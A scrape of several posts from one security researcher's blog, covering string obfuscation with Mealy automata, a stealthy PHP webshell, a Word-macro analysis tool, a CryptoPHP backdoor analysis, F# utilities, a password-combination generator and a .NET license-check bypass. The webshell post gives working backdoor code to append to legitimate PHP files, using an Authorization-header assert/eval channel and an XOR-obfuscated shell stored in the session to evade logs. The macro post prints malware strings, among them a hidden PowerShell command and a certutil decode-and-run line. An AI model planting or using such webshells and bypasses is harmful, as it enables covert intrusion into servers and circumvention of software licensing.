<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-NjlK-aTF2Ik/WbZeJBKecZI/AAAAAAAAB0k/lvFtBZG95aE0_rOtdZt_vlNphZs2FHwPgCLcBGAs/s1600/automata.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-NjlK-aTF2Ik/WbZeJBKecZI/AAAAAAAAB0k/lvFtBZG95aE0_rOtdZt_vlNphZs2FHwPgCLcBGAs/s320/automata.png" width="320" height="291" data-original-width="448" data-original-height="408" /></a></div>
<br>
On each arrow there is the input and the associated output. If we consider the state 0 as the initial one and pass the input string: 0 1 1 0 1 0 0 we will receive as output the string ANTONIA.<br><br>
In order to automatically generates the automata I found that starting by considering the input was a pretty challenging task. So I changed strategy and considered the output in order to create the automata. For each character, the choice is between creating a new state, or connecting to one of the already existing states.
You can find the full F# source code implementation with a test example <a href="https://github.com/enkomio/MealyObfuscator">here</a>.<br><br>
<h3>Testing</h3>
Now that we have an algorithm to generate the automata, let's try to obfuscate some strings. Since the implementation was done in F# I'll create an helper method to print the automata in an handy way in order to import the result in a C program. Let's consider the string <i>supersecretpassword</i>. The automata and the input generated from this string are (the result may be different on your machine):<br>
<pre>
Input text: supersecretpassword
Input: 1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0, Int: 250915
Output: {{'e', 's'}, {'e', 'u'}, {'p', 'e'}, {'e', 'a'},
{'r', 'r'}, {'c', 'w'}, {'d', 't'}, {'s', 'd'},
{'u', 's'}, {'p', 'w'}, {'a', 'o'}, {'d', 's'},
{'s', 'p'}}
Automata: {{6, 1}, {5, 2}, {3, 2}, {4, 7}, {0, 11}, {4, 12},
{12, 2}, {8, 4}, {12, 9}, {0, 10}, {6, 4}, {12, 7},
{11, 10}}
</pre>
<br><br>
Since the length of the string is less than 32 characters, we can convert the binary input into a DWORD. Now let's write a C program that reconstruct the given string:<br><br>
<pre>
#include "stdafx.h"
void deobfuscate(char* text, int length, int key, char automata[][2], char output[][2])
{
int v = 0, state = 0, i = 0;
for (i = 0; i < length; i++)
{
v = key & 1;
key >>= 1;
text[i] = output[state][v];
state = automata[state][v];
}
text[i] = '\0';
}
int main()
{
char text[20];
int key = 250915;
char automata[][2] =
{ { 6, 1 },{ 5, 2 },{ 3, 2 },{ 4, 7 },{ 0, 11 },
{ 4, 12 },{ 12, 2 },{ 8, 4 },{ 12, 9 },{ 0, 10 },
{ 6, 4 },{ 12, 7 },{ 11, 10 } };
char output[][2] =
{ { 'e', 's' },{ 'e', 'u' },{ 'p', 'e' },{ 'e', 'a' },
{ 'r', 'r' },{ 'c', 'w' },{ 'd', 't' },{ 's', 'd' },
{ 'u', 's' },{ 'p', 'w' },{ 'a', 'o' },{ 'd', 's' },
{ 's', 'p' } };
deobfuscate(text, sizeof(text)-1, key, automata, output);
printf("Output: %s", text);
return 0;
}
</pre>
<br><br>
If we run this code we can see that the string <i>"supersecretpassword"</i> will be displayed in the console :)
<br><br>
<h3>Conclusion</h3>
I hope that you enjoyed this post as much as I enjoyed to write the code. If you find any errors or you know a better algorithm to implement the Mealy automata just leave a comment or drop me an email ;)
<br><br>
<h3>References</h3>
[1] <a href="https://en.wikipedia.org/wiki/Mealy_machine">Mealy machine</a><br>
[2] <a href="http://dl.acm.org/citation.cfm?id=1594894">Surreptitious Software: Obfuscation, Watermarking, and Tamperproofing for Software Protection</a><br>
[3] <a href="https://blog.didierstevens.com/programs/xorsearch/">XORSearch & XORStrings</a><br>
[4] <a href="http://madebyevan.com/fsm/">Finite State Machine Designer</a>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-73671591717802782722017-05-14T08:10:00.000-07:002017-05-14T23:55:42.076-07:00Hiding PHP Webshell in an effective wayThere are many reason why you want to hide your PHP Webshell, for example not being caught by the system administrator during a penetration testing activity. In this post I'll propose a possible approach on how to do it.<br/><br/>
Let's consider this scenario:<br/>
<ul>
<li>you are able to create a PHP file in the web root of the web server (for example by exploiting an arbitrary file upload, a RCE and so on...)</li>
<li>you want to use a shell that is a bit more complete than: eval($_GET['c'])</li>
<li>you want to be as stealth as possible (speaking of both artifacts left on the filesystem and at a network level)</li>
</ul>
The first step is the creation of the PHP file that will accept our input. This file should be very small and possibly with no direct reference to code execution functions. Sucuri wrote some blog posts about possible ways to execute PHP code in an unusual way ([1], [2]), but in my opinion there is a clever way to execute PHP code by using "Variable functions" ([3], [4]).<br/><br/>
This idea is pretty simple, let us see an example:<br/>
<pre>
$fun = 'strrev';
print $fun('Hello');
</pre>
The result will be: <i>olleH</i><br/><br/>
Cool, so we can create something like:<br/>
<pre>
$f = $_GET['c'];
$f($_GET['p']);
</pre>
and we can pass as <i>c = eval</i> and as <i>p = <my evil code></i>. Unfortunately it will not work :\ From the <i>Variable functions</i> page we can read:<br/><br/>
<i>"Variable functions won't work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like.
Use wrapper functions to employ any of these constructs as variable functions."</i><br/><br/>
Among the excluded functions there is also <strong>eval</strong> :( Ok, not too bad, if you know PHP, you will also know that there is the <strong>assert</strong> function that has a very similar behavior to <strong>eval</strong> and it is allowed :)<br/><br/>
So, now we have a very simple PHP code that can execute arbitrary code with a very minimal footprint. The best choice would be to alter a legit .PHP file and append our short code to it, in this way no new files will be created on the file system. Now, our second concern is to cover our network trace.<br/><br/>
To do this, we can opt for the GET method and pass the data via query string. This is probably the worst option since the query string is logged by default in the log web server.<br/><br/>
As an alternative we can use the POST method for our communication, but if you have added the PHP code to a legit page that doesn't accept POST data, this could look suspicious and raise the attention of the administrator. Also in a log file the POST requests are considerably less that the GET requests, this fact can be spotted easily by a system administrator.<br/><br/>
We should find something that is considered a bad practice to be logged, something that, if implemented, could be classified as the <i>CWE-532: Information Exposure Through Log Files</i>. Yes, you got it, we will use a <strong>password field</strong> :) To be more precise the <strong>HTTP Basic Authorization Header</strong>. This value is also encoded in base64 and can be accessed from PHP without any need to do a decode first. So, in the end our code will be something like:<br/>
<pre>
<?php
if (isset($_SERVER['PHP_AUTH_PW']))
{
$a = explode("|", $_SERVER['PHP_AUTH_PW']);
@$a[0]($a[1]);
}
?>
</pre>
Now we need just one last step, the code that we want to execute should be user-friendlier than just that raw shell but we don't want to store it in a separate file in the web root, we need to find another place to store it and that can be easily accessed by PHP.<br/><br/>
The perfect solution seems to be the <strong>SESSION object</strong>. This object is typically serialized in a file in the temp directory (as default configuration), so it is very unlikely that a system administrator takes a look at those files for no reason.<br/><br/>
Let's have a brief recap:<br/>
<ol>
<li> we have a very short and simple PHP code, possibly embedded inside a legit PHP file</li>
<li> we will use the Autorization header to communicate with our code, this will avoid to have our data logged</li>
<li> we will store the big PHP shell in the user session in order to be called later</li>
</ol>
Let's suppose that $webshell is the content that we want to store in the user session (a shell C99 style). Our first request will store the code in the user session. We will send as HTTP Basic password the following content:<br/>
<pre>
0 1 2 3
assert|eval(base64_decode(INSTALLER))|SESSION_KEY|base64(PHP_SHELLCODE)
</pre>
The request will call the <strong>assert</strong> function (<strong>0</strong>), which in turn will call the <strong>eval</strong> function (<strong>1</strong>) (this is done to overcome the <i>Variable Functions limitation</i>) on a base64 decoded string (<strong>INSTALLER</strong>) which has this content:<br/>
<pre>
session_start();
$a = explode("|", $_SERVER['PHP_AUTH_PW']);
$_SESSION[$a[2]] = $a[3];
</pre>
This code just extracts the <i>session key name</i> from the data (<strong>2</strong>), the base64 encoded PHP web shell (<strong>3</strong>) (the content of <i>$webshell</i>) and save it in the <i>user session</i>. Now we have a PHP webshell in our session that is just waiting to be invoked :)<br/><br/>
We can do this by sending the following data:<br/>
<pre>
assert|eval(base64_decode(INVOKE))
</pre>
where the content of <strong>INVOKE</strong> is:<br/>
<pre>
session_start();
if (array_key_exists("SESSION_KEY", $_SESSION))
{
function xor_deobf($str, $key)
{
$out = '';
for($i = 0; $i < strlen($str); ++$i)
$out .= ($str[$i] ^ $key[$i % strlen($key)]);
return $out;
}
eval(xor_deobf(base64_decode($_SESSION["SESSION_KEY"]), "MY_HARCODED_KEY"));
}
</pre>
Basically it verifies that the given <strong>SESSION_KEY</strong> is present and if so its content is executed. I have used a simple XOR obfuscation layer to be even more stealthy. <br/><br/>
Of course, $webshell should also use the same communication channel in order to be stealth, otherwise you will loose your benefit :)<br/><br/>
<h3>Conclusion</h3>
I hope that you have found this simple post useful. I created a simple python script that it is able to communicate with my code and execute commands.<br/><br/>
You can find it at: https://gist.github.com/enkomio/c6db9cb690bbeac1476fb3e56bf7c1a4<br/><br/>
You can invoke it with the following command:<br/>
<pre>
phquirk.py http://www.example.com/legit_file_with_my_code.php "print 'Hello from my web shell';"
</pre>
The result is:<br/>
<pre>
[+] Using session value: PHPSESSID=d22838ce1683e0c9f7f634b10b
[+] Encryption key: d51313ea1fd9233dfe8c40eacfde35e7290aaec8533cc0dd78
[+] Saved command in user session
[+] Command result: Hello from my web shell
</pre>
<h3>References</h3>
[1] PHP Backdoors: Hidden With Clever Use of Extract Function - https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html<br/><br/>
[2] PHP Callback Functions: Another Way to Hide Backdoors - https://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html<br/><br/>
[3] Variable functions - http://php.net/manual/en/functions.variable-functions.php<br/><br/>
[4] A Look Into Creating A Truley Invisible PHP Shell - https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell/
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-62761123353363410062016-08-13T01:13:00.000-07:002020-06-12T06:22:11.150-07:00Analyzing a malicious word document was never so easyAs a Threat Analyst I'm often involved in analyzing malicious MS Word documents. This task involve, among the other things, the extraction of the embedded macros in order to be analyzed. Currently there are various tools that allow you to extract the source code of the macro via static analysis, but I found this task pretty boring and time consuming.<br /><br />
Also, the malware authors use various approaches to avoid the insertion of useful information inside the macro source code. A <a href="https://www.virusbulletin.com/virusbulletin/2016/07/journey-evasion-enters-behavioural-phase/">recent article</a> describe some of these techniques.<br /><br />
So I decided to spend some hours and create a program that allows you to:
<ul>
<li>Automatically dump all executed macros</li>
<li>Automatically dump all the strings instantiated during the macro execution</li>
<li>Automatically dump all the executable dropped by the macro (by string content inspection)</li>
</ul>
I called it the <strong>Macro Inspector</strong>, and you can found the source code at <strong><a href="https://github.com/enkomio/MacroInspector">https://github.com/enkomio/MacroInspector</a></strong>.
<br /><br />
<h3>Dump all execute macros</h3>
In order to accomplish this task, I had to find the point where the macro source code is read in order to be parsed and executed. After spending some time reversing the VBE7 library I found what seems to be a good point to read the source code:
<br />
<pre>
E8 30070000 CALL 7024428B
8BF0 MOV ESI,EAX
81FE C4880A80 CMP ESI,800A88C4
0F84 CD000000 JE 70243C36
81FE 0D9D0A80 CMP ESI,800A9D0D
</pre>
<br />
After the execution of the <strong>CALL</strong> instruction we have <strong>EDX</strong> register points to the line of macro source code just read. We have then a good point to intercept the source of the executed macro.
<br /><br />
<h3>Dump all instantiated strings</h3>
To fulfill this point it was necessary to dig a little bit in the <a href="https://msdn.microsoft.com/en-us/library/dt80be78.aspx">OLE Automation</a> concept. After reading a bit more about the OLE Automation I understood that if I was able to dump all the created <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms221069(v=vs.85).aspx">BSTR</a> objects I have a good amount of information about the inner working of the executed macro. The BSTR string are managed through various functions, one of the most interested one is the <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms221481(v=vs.85).aspx">SysFreeString</a> method. By intercepting this method I was able to get all the freed strings created during the macro execution.<br /><br />
Finally, by inspecting the content of the dumped strings I can recognized what could be a valid PE file.
<br /><br />
<h2>Test on real word malicious documents</h2>
In order to intercept the interested code I used the <a href="http://winappdbg.sourceforge.net/">WinAppDbg</a> python module. MacroInspector is very easy to use, just run the python program and open the malicious WORD document. The MacroInspector will loop forever until a new WINWORD process is found.<br /><br />
For all my test I used MS Office 2013, it could happen that for different office version the code to read the macro source may change and then the program it is not able to set the breakpoint.<br /><br />
I decided to try the program with some of the malicious files presented in the Virus Bulletin article. For each sample I executed the <i>macro_inspector</i> program, opened the malicious document, enabled the macro and then closed the document (this last step ensure that events associated with closing action are executed).
<br /><br />
<h3>Evading macro code extraction I</h3><br />
<i>Hash: 7888b523f6b8a42c8bfad0a2fd02ba6e7837299fbc3d6a2da6bea20f302691f7</i><br/>
By extracting the macros from this document we can notice that no useful information are retrieved. But if we take a look at the dumped strings we can easily identify the following useful information:
<pre>
String: http:/
String: http://
String: http://w
String: http://ww
String: http://www
String: http://www.
String: http://www.s
String: http://www.st
String: http://www.stu
String: http://www.stud
String: http://www.studi
String: http://www.studio
String: http://www.studiop
String: http://www.studiopa
String: http://www.studiopan
String: http://www.studiopane
String: http://www.studiopanel
String: http://www.studiopanell
String: http://www.studiopanella
String: http://www.studiopanella.
String: http://www.studiopanella.i
String: http://www.studiopanella.it
String: http://www.studiopanella.it/
String: http://www.studiopanella.it/9
String: http://www.studiopanella.it/9u
String: http://www.studiopanella.it/9uh
String: http://www.studiopanella.it/9uh8
String: http://www.studiopanella.it/9uh87
String: http://www.studiopanella.it/9uh87g
String: http://www.studiopanella.it/9uh87g7
String: http://www.studiopanella.it/9uh87g75
String: http://www.studiopanella.it/9uh87g756
</pre>
from this log it is pretty clear that the macro is trying to decrypt an url.
<br /><br />
<h3>Evading macro code extraction - II</h3><br />
<i>Hash: e812350f2f84d1b7f211a1778073e14ae52bc3bded8aeac536170361a608f8fa</i><br/>
Even in this case as in the previous one no useful information are contained in the dumped macro source code. But again, if we take a look at the list of extracted strings we can identify very useful information like the following powershell command:
<pre>
powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAGUAdwAtAE8AQgBKAGUAQwB0ACAAUwBZAFMAVABlAG0ALgBO...
</pre>
<br />
<h3>Evading payload magic signature check & Certutil abuse</h3><br />
<i>Hash: 562994fcbece64bd617e200485eeaa6d43e5300780205e72d931ff3e8ccb17aa</i><br />
Same story as the previous one :) This time the macro tries to execute a shell command after decrypting its value as showed in the following log excerpt:
<pre>
String: cmd /c certut
String: cmd /c certutil -decode %TM
String: cmd /c certutil -decode %TMP%\\panda.pf
String: cmd /c certutil -decode %TMP%\\panda.pfx %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & star
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TM
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.ex
String: cmd /c certutil -decode %TMP%\\panda.pfx %TMP%\\panda.exe & start %TMP%\panda.exe
</pre>
in the log we can also see a base64 string, that after being decoded present the well know <i>MZ</i> magic value as the first two bytes:
<pre>
String: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAFBFAABMARAAVwEBAA...
</pre>
<h2>Conclusion</h2>
The Macro Inspector is a simple but very useful tool that can really speed up the analysis of Word Document, it is still in its first version, and there is a lot of space for improvement, but I hope that you can find it helpful :)
<br /><br />
<h2>References</h2>
<ol>
<li>The Journey of Evasion Enters Behavioural Phase - https://www.virusbulletin.com/virusbulletin/2016/07/journey-evasion-enters-behavioural-phase/</li>
<li>WinAppDbg - http://winappdbg.sourceforge.net/</li>
<li>OLE Automation - https://msdn.microsoft.com/en-us/library/dt80be78.aspx</li>
</ol>
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-48872542150180250442016-07-16T02:19:00.000-07:002020-06-12T06:22:34.307-07:00New Fluent interface in Fslog <strong>Fslog</strong> is a simple yet powerful library that can be used to log messages in your program. It was implemented with a semantic approach in mind, and you can find it on <a href="https://github.com/enkomio/Fslog">GitHub</a>.</br></br></br>
The initial interface was a bit cumbersome to use, so I decided to implement a more user friendly interface based on the <a href="http://martinfowler.com/bliki/FluentInterface.html">Fluent style</a>. Let see how to use this new interface, the first step is to configure a <i>LogProvider</i>:
<br />
<pre class="brush:c#;">open System
open ES.Fslog
let lp = new LogProvider()
let consoleLogger = new ConsoleLogger(LogLevel.Informational)
lp.AddLogger(consoleLogger)
</pre>
That piece of code creates and configures a <i>LogProvider</i> with a <i>ConsoleLogger</i>. Now you can create your own <i>LogSource</i> and add it to the <i>LogProvider</i> in order to start to log to the console. Of course you can customize how the log messages are displayed by creating a <i>LogFormatter</i>, like this:
<br />
<pre class="brush:c#;">open System
open ES.Fslog
open ES.Fslog.Loggers
open ES.Fslog.TextFormatters
type internal ConsoleLogFormatter() =
let getLevelStr(logLevel: LogLevel) =
match logLevel with
| LogLevel.Critical -> "CRIT"
| LogLevel.Error -> "ERRO"
| LogLevel.Warning -> "WARN"
| LogLevel.Informational -> "INFO"
| LogLevel.Verbose -> "TRAC"
| _ -> failwith "getLevelStr"
member this.FormatMessage(logEvent: LogEvent) =
String.Format("[{0}] {1}", getLevelStr(logEvent.Level), logEvent.Message)
interface ITextFormatter with
member this.FormatMessage(logEvent: LogEvent) =
this.FormatMessage(logEvent)
let customConsoleLogger = new ConsoleLogger(logLevel, new ConsoleLogFormatter())
</pre>
You can now implement the different log sources where necessary, this is a very easy task thanks to the new fluent interface:
<br />
<pre class="brush:c#;">open System
open ES.Fslog
// create the log source
let logSource =
log "EntityRepository"
|> verbose "NoPrint" "I will not be printed due to the current LogLevel value :("
|> info "Start" "Process started!"
|> warning "FileNotFound" "Unable to open the file {0}, create it"
|> warning "DirectoryNotFound" "Unable to list file in directory: {0}. Create it."
|> error "UnableToCreateFile" "Unable to create the file: {0} in directory: {1}"
|> critical "DatabaseDown" "Database is not reachable, this is not good!"
|> build
// add the log source to the log provider
logProvider.AddLogSourceToLoggers(logSource)
// start to log
logSource?NoPrint()
logSource?Start()
logSource?FileNotFound("log.txt")
logSource?DirectoryNotFound("logDirectory/")
logSource?UnableToCreateFile("log.txt", "logDirectory/")
logSource?DatabaseDown()
</pre>
And that's all, you can find more examples in the <a href="https://github.com/enkomio/Fslog/blob/master/FslogSrc/Tests/SmokeTests/FluentTests.fs">FluentTests class</a>.Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-3443892038003161822015-09-16T11:26:00.000-07:002020-06-12T06:22:47.182-07:00CryptoPHP Vs TempestaI have recently published a new static analysis tool (<a href="http://enkomio.com/tempesta/#/">Tempesta</a>), useful to analyze PHP source code in order to identify a possible malicious behavior. The project is still in its early stage so I carefully monitor the files that are submitted and what could be the cause of possible issues. One of these files is the infamous CryptoPHP backdoor (<a href="https://foxitsecurity.files.wordpress.com/2014/11/cryptophp-whitepaper-foxsrt-v4.pdf">Fox-IT report</a>).
<br /><br />
The submitted sample initially hasn't produced any results, mainly due to the fact that the sample is not a valid PHP code (ok, ok, there was also a bug in Tempesta that prevented the analysis :P).
<br /><br />
The sample is composed of only three classes definitions without any objects instantiation code. I decided to take a closer look at this file in order to see if Tempesta was able to analyze it.
<br /><br />
The first step was to fix the syntax by closing all the unbalanced parenthesis. Then, I have added three lines of code that just instantiate each class in a correct way.
<br /><br />
The first submission didn't returne any meaningful result. By inspecting the code more carefully it was easy to find a call to the function <b>curl_setopt</b>, with high chance this means that inside the file there should also be a list of contacted domains. This was confirmed by the following piece of code that builds the array of the domains to contact:
<br />
<pre class="brush:php;">
<br />
foreach ($this->uQfIZmMpqyjCaRQMgMoc as $ZRhtpGOgTZTZRdeSYVBw) {
$ANVoslonRNQSwwQloQTx[] = base64_decode(str_rot13(strrev($ZRhtpGOgTZTZRdeSYVBw)));
} </pre>
However, by continuing to inspect the code, the following snipped is executed:
<br />
<pre class="brush:php;">
<br />
foreach ($eaRKAIVvmthhlFyDIslv as $emDnXOMHIUCHXVocAIgZ) {
$ANVoslonRNQSwwQloQTx[] = $JKBGKZwspUYvdkeoetY[$emDnXOMHIUCHXVocAIgZ];
}
return $ANVoslonRNQSwwQloQTx;</pre>
<br /><br />
where <b>$JKBGKZwspUYvdkeoetY</b> is the array populated in the previous snipped and containing the decoded domains, <b>$eaRKAIVvmthhlFyDIslv</b> is an opaque value and <b>$ANVoslonRNQSwwQloQTx</b> is the final array containing the domains that will receive the stolen data. In this specific case, without knowing exactly the value of the <b>$eaRKAIVvmthhlFyDIslv</b> variable, we are not able to populate correctly the array variable <b>$ANVoslonRNQSwwQloQTx</b>, with the result that we can't identify the list of contacted domains. This is a tipical case of the limitation of the static analysis tools (or at least of the current used static analysis approach).
<br /><br />
However, not everything is lost. By inserting some more fine grained code inspection during the simulation we were able to identify the list of domains.
<br /><br />
You can find the analysis of the sample at: <a href="http://enkomio.com/tempesta/#/scan/bbe1de38-a798-4f0a-99c3-1e0f1dee07b3">http://enkomio.com/tempesta/#/scan/bbe1de38-a798-4f0a-99c3-1e0f1dee07b3</a>
<br/><br /><br />
<b>Update</b>
Here is another analysis of a CryptoPHP backdoor: <a href="http://enkomio.com/tempesta/#/scan/18a7b126-31a8-4048-b032-80fe50b0ae72">http://enkomio.com/tempesta/#/scan/18a7b126-31a8-4048-b032-80fe50b0ae72</a>Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-58837870953854981202014-01-06T03:44:00.000-08:002020-06-12T06:23:05.799-07:00<span style="font-size: x-large;">Porting of AsyncOneManyLock to F#</span><br />
<br />
If you have read the awesome book by Jeffrey Richter CLR via C# 4 ed. you have discovered that there are more optimal ways for thread synchronization than the one provided by the BCL. One of them is the use of new asynchronous capabilities in order to create an asynchronous synchronization primitive. In the book it is presented an AsyncOneManyLock which is used for thread synchornization for code with a high demand for responsiveness and scalability.<br />
If you are an F# developer you know that the F# Asynchornous Workflow and the Task Parallel Library <a href="http://www.stackoverflow.com/questions/12708504/is-asynchronous-in-c-sharp-the-same-implementation-as-in-f#12708955">are different</a>, so I decided to port this useful piece of code to F# and show you how to use it with an example.<br />
<br />
You can download the source code from <a href="https://gist.github.com/AntonioParata/8114415">here</a>.<br />
<br />
A simple example of usage of AsyncOnManyLock, we try to synchronize the access to a shared list from different kind of consumers as follows:<br />
<br />
<pre class="brush:c#;">open System
open System.Collections.Generic
open System.Threading
open System.Threading.Tasks
open AP.Threading
[<entrypoint>]
let main argv =
let asyncOneManyLock = new AsyncOneManyLock()
let rnd = new Random()
let col = new List<int32>()
col.Add(1)
async {
while(true) do
let! discard = asyncOneManyLock.WaitAsync(OneManyMode.Shared) |> Async.AwaitTask
let elem = col |> Seq.head
printfn "col[0]=%d; col.Count=%d" elem col.Count
asyncOneManyLock.Release()
} |> Async.Start
async {
while(true) do
Thread.Sleep(rnd.Next(10000))
let! discard = asyncOneManyLock.WaitAsync(OneManyMode.Exclusive) |> Async.AwaitTask
let numOfElement = rnd.Next(col.Count - 1)
if numOfElement > 0 then
col.RemoveRange(0, numOfElement)
asyncOneManyLock.Release()
} |> Async.Start
async {
while(true) do
let! discard = asyncOneManyLock.WaitAsync(OneManyMode.Exclusive) |> Async.AwaitTask
col.Insert(0, rnd.Next())
asyncOneManyLock.Release()
} |> Async.RunSynchronously
0
</pre>
The example creates three concurrent tasks that try to access a shared list to read/delete or update the contained items. If the access is of read type then a simple shared lock is sufficient, but in order to modify the list you must access the lock in an exclusive mode. In order to use the TPL with the Async builder you must pass the Task to the Async.AwaitTask function.<br />
<br />
That's all, now you can benefit of a highly efficient, not blocking, threat synchronization component.
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-52970201049723237972013-12-01T04:24:00.000-08:002020-06-12T06:23:21.598-07:00<span style="font-size: x-large;">Words permutation for passwords generation</span><br />
<br />
When you are performing a password bruteforcing you may have some hints on the password format, of course it is a pity not to exploit this information.
During one of my test I noticed that a lot of passwords were based on some year number plus some words combination, like mimmo1983 or oracle2010db.<br /><br />
In order to use this knowledge I have created a little F# script that combines the inputs lists values in order to create all possible permutations.</br>
I am pretty sure that you can do the same with <a href="http://www.openwall.com/john/">John The Ripper</a>, but I couldn't miss the opportunity to write some F# code.
Of course you can use the code for other purposes, even not malicious ones! <br />
<br />
<br />
<pre class="brush:c#;">let combineValues (listOfList: _ list list) =
let indexArray = Array.zeroCreate(listOfList.Length)
let rec combineValuesImpl (listOfList: _ list list) (listIndex: Int32 list) (currentScannedListIndex: Int32) =
seq {
let currentScannedListOverflow =
let currentList = listOfList.[currentScannedListIndex]
if listIndex.[currentScannedListIndex] >= currentList.Length then true
else false
if currentScannedListOverflow then
// update the indexs
let newListIndex = Array.copy(listIndex |> Array.ofList)
newListIndex.[currentScannedListIndex] <- newListIndex.[currentScannedListIndex] + 1
// zeroes the previous index
for i in [0 .. currentScannedListIndex] do
newListIndex.[i] <- 0
// update the next list index
let updateNextIndex = ref true
for i in [currentScannedListIndex+1 .. listIndex.Length-1] do
if !updateNextIndex then
let li = listIndex.[i] + 1
if li >= listOfList.[i].Length then
newListIndex.[i] <- 0
else
newListIndex.[i] <- li
updateNextIndex := false
if not(!updateNextIndex) then
yield! combineValuesImpl listOfList (newListIndex |> List.ofSeq) 0
else
// calculate value
let newCombination = Array.zeroCreate<_>(listOfList.Length)
for i in [0..listOfList.Length-1] do
let listValIndex = listIndex.[i]
let listVal = listOfList.[i].[listValIndex]
newCombination.[i] <- listVal
yield newCombination
// update the indexs
let newListIndex = Array.copy(listIndex |> Array.ofList)
newListIndex.[currentScannedListIndex] <- newListIndex.[currentScannedListIndex] + 1
// iterate
yield! combineValuesImpl listOfList (newListIndex |> List.ofSeq) currentScannedListIndex
}
combineValuesImpl listOfList (indexArray |> List.ofArray) 0
</pre>
Follow an example of usage:
<br />
<pre class="brush:c#;">for test in (combineValues [["oracle"; "tomcat"]; ["password"; "secret"]; ["letmein"; "qwerty"; "123456"]]) do
printf "%s-%s-%s\n" test.[0] test.[1] test.[2]
</pre>
which produce the following result
<br />
<pre>oracle-password-letmein
tomcat-password-letmein
oracle-secret-letmein
tomcat-secret-letmein
oracle-password-qwerty
tomcat-password-qwerty
oracle-secret-qwerty
tomcat-secret-qwerty
oracle-password-123456
tomcat-password-123456
oracle-secret-123456
tomcat-secret-123456
</pre>
if you want to try it (maybe with your custom words list) checkout <a href="http://www.tryfsharp.org/create/antonio/combination.fsx">this link</a>.
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-90896462437229971722013-10-20T14:18:00.001-07:002020-06-12T06:23:35.826-07:00<span style="font-size: x-large;">.NET code protection</span><span style="font-size: x-large;">, your are doing it wrong</span><br />
<br />
In the past years I have audited various .NET programs in order to verify if it was possible to bypass the license registration mechanism. The most used technique is to obfuscate the MSIL in order to avoid decompiling the registration routine and writing a valid keygen.<br />
<br />
The problem of this approach is that even if you use a strong code obfuscator (and there are plenty of them available out there) the code can be easly hacked if not designed in a secure way.<br />
<br />
A typical solution is composed of a DLL that implements the license check routine which validates if the product is correctly registered. If this check succeeds then a <i>License </i>object is created and returned. In the "most advanced" case the check is repeated every tot seconds.<br />
<br />
The problem in this case is how you have designed this mechanism. If you have followed good OO design then I have bad news for you. Consider the following piece of code:
<br />
<br />
<pre class="brush:c#;">using System;
namespace CodeProtection
{
public class License
{
public License(String name)
{
this.Name = name;
}
public String Name { get; private set; }
}
public interface ILicenseChecker
{
License GetRegisteredLicense();
}
public sealed class DefaultLicenseChecker : ILicenseChecker
{
public License GetRegisteredLicense()
{
return GetRegisteredLicenseFromSecureStore();
}
private License GetRegisteredLicenseFromSecureStore()
{
// Check if the license is valid, return null on fail.
// This code is heavily obfuscated and difficult to reverse.
return null;
}
}
public static class LicenseManager
{
internal static ILicenseChecker Checker = new DefaultLicenseChecker();
public static License GetLicense()
{
return Checker.GetRegisteredLicense();
}
}
public class Program
{
static void Main(string[] args)
{
var license = LicenseManager.GetLicense();
if (license != null)
{
CodeToProtect();
}
else
{
Console.WriteLine("Product not licensed");
}
}
private static void CodeToProtect()
{
Console.WriteLine("Great stuff done here!");
}
}
}
</pre>
<br />
We want to be sure that the method <i>CodeToProtect </i>will be executed only if the license is valid. To do this the code follows a good OO design, it uses an interface in order to decouple the contract from the effective implementation. This allows the developer to use a moked version of <i>ILicenseChecker</i> during the development and to switch to the final implementation when needed.<br />
<br />
If you release that code it is higly probable that it will be hacked in a very easy way. To hack that code it is not necessary to modify the MSIL or to use more complex stuff like the <a href="https://www.nuget.org/packages/Microsoft.Diagnostics.Runtime" target="_blank">CLR Memory Diagnostics</a>. It is possible to write a bypass by using only plain reflection, like this one: <br />
<br />
<pre class="brush:c#;">using System.Reflection;
using CodeProtection;
namespace CodeProtectionBypass
{
class Program
{
static void Main(string[] args)
{
var licenseManagerType = typeof(LicenseManager);
var checkerProperty = licenseManagerType.GetField("Checker",
BindingFlags.NonPublic | BindingFlags.Static);
checkerProperty.SetValue(null, new HackedLicenseChecker());
// run the program
CodeProtection.Program.Main(args);
}
}
public sealed class HackedLicenseChecker : ILicenseChecker
{
public License GetRegisteredLicense()
{
return new License("Hacked");
}
}
}</pre>
<br />
<span style="font-size: large;">TL;DR</span><br />
When you need to design the code that will check the validity of your license, follow these simple advices:
<br />
<ul>
<li>Use <i>sealed </i>classes to avoid someone else extending your class in a malicious way</li>
